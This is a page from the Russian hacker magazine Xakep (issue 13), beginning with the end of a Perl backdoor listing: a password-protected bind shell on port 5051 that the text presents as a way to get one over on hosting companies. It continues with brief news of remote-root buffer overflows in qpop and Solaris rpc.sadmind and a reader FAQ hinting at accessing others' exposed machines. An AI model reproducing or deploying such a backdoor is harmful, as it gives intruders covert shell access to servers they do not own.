Юниксоид

Xakep, номер #013, стр. 013-056-4


chop($try=);

if($try != $PASSWORD) {

for($n=1;$n<=666;$n++)

{print STDOUT "Иди гуляй, Вася\n";} # отпугиваем ;)

close T666;

exit 0;} }

exec $SHELL || print T666 "не могу открыть $SHELL\n";

close T666;

exit 0;

} else {

BYE: close T666; } }

Вот небольшая программка. При запуске она открывает 5051 порт и ждет соединения. Телнетимся туда, приглашения не ждем, сразу вводим заданный пароль, получаем шелл.

Ну вот и все, теперь ты можешь писать на Perl'e сам и знаешь, как утирать нос буржуйским хостинговым компаниям. Если ты хочешь более подробно изучить Perl, то тебе следует почитать книжки или поискать доки в сети. Удачи!

Unix NEWS

Последняя стабильная версия ядра: 2.2.13

Последняя нестабильная версия ядра: 2.3.31

Разработчики qpop-а опять оплошали

Пользователи их продукта имеют отличную возможность поделиться своими паролями и т.д. и т.п. с любым другим пользователем Сети :). Переполнение буфера в AUTH, вызывающем pop msg() в Qpop3.x дает возможность удаленно получить права root.

Еще одно переполнение

Переполнения буфера в соляровском rpc.sadmind удаленно дает нам права root. Ошибку можно реализовать как на sparc, так и на x86 платформах.

Unix FAQ

Сатанист: Поподробнее опишите, как настраивать удаленное соединение в UNIXах, так как ifup требует некий .

MAL: Правильно, прежде чем использовать ifup, нужно создать девайс. Для этого используй linuxconf, где можно создать девайсы ppp0 ppp1 ppp2 и т.д. И потом команда ifup ppp0 установит соединение.

Сатанист: Что такое Apache?

MAL: Апаче - это веб-сервер. Полную информацию можно найти на www.apache.ru .

Сатанист: В чем смысл обновления ядра Линукса? И таинственных демонов!

MAL: Интересно, в чем разница между win3.11 и win98? :-)

Сатанист: Можно ли подключиться через LINUX к чужому MUzzDIe компу, если он в сети? Расскажи, плиз, как и что для этого нужно...

MAL: Передача информации между двумя компами с разными операционками вполне возможна, используя ftp http irc pop smtp и т.д. т.п. :) И, естественно, чтобы это осуществить, на одном компе должен стоять сервер (будь то ftp или http и т.п.), а на другом - клиент. Есть люди, которые в своих ВыньДОСах ставят "Plus!" и затем активизируют функцию http-сервер. Это уже good для нас :). Ну а если человек еще и телнет или фтп у себя откроет...

Сатанист: Где можно взять ISC для Линукса?

MAL: www.linuxberg.com - Это вообще клевый сервак, типа tucows, но там все для Unix.

Назад на стр. 013-056-3  Содержание